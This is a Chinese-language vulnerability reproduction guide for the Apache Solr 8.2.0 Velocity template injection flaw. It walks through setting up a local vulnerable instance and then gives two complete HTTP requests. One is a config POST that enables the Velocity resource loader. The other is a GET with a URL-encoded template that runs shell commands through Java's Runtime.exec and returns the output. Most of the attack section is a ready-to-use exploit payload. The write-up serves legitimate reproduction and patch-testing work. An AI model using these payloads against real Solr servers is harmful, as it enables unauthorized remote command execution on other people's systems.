Apache Solr Velocity模板远程代码执行
漏洞描述
近日,国外安全研究员s00py
公开了一个Apache Solr
的Velocity
模板注入的漏洞.该漏洞可以攻击最新版本的Solr.目前该漏洞利用详情已经广泛流传于Github以及各大安全群,且公开的EXP可以执行任意命令并自带回显.官方暂未发布补丁.
CVE编号
暂无
漏洞威胁等级
高危
影响范围
包括但不限于8.2.0(最新版本)
漏洞复现
1、 wget https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip //下载漏洞环境
2、unzip solr-8.2.0.zip //解压文件包
3、cd /solr-8.1.0/bin
//进入目录
./solr -e dih -force //进入目录后
开启漏洞环境
4、访问http://your-ip:8983/solr/#/
进入主界面
点击左侧的Core Selector
查看集合名称
5、使用burp抓取一个数据包
复制下面payload修改集合设置
POST /solr/db/config HTTP/1.1
Host: your-ip:8983
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Referer: http://206.189.43.186:8081/solr/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
Content-Length: 263
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
6、回显成功后,开始命令执行 备注:找到exec(%27ls%27)语句,这里可更改查询语句,执行不同的命令
GET /solr/db/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: youip:8983
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Referer: http://206.189.43.186:8081/solr/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
Content-Length: 0
出现如图所示,即漏洞复现成功。
备注:有些电脑第一步即post可以成功回显,执行get时会出现以下情况,
解决办法,将post表头替换成get表头中执行的url链接里的payload即可。我执行换成了exec(%27id%27)语句,还可以加whoami、groups等
换成了exec(%27id%27)语句
参考链接:https://qiita.com/shimizukawasaki/items/a5a9d951e5d1a7c1cfef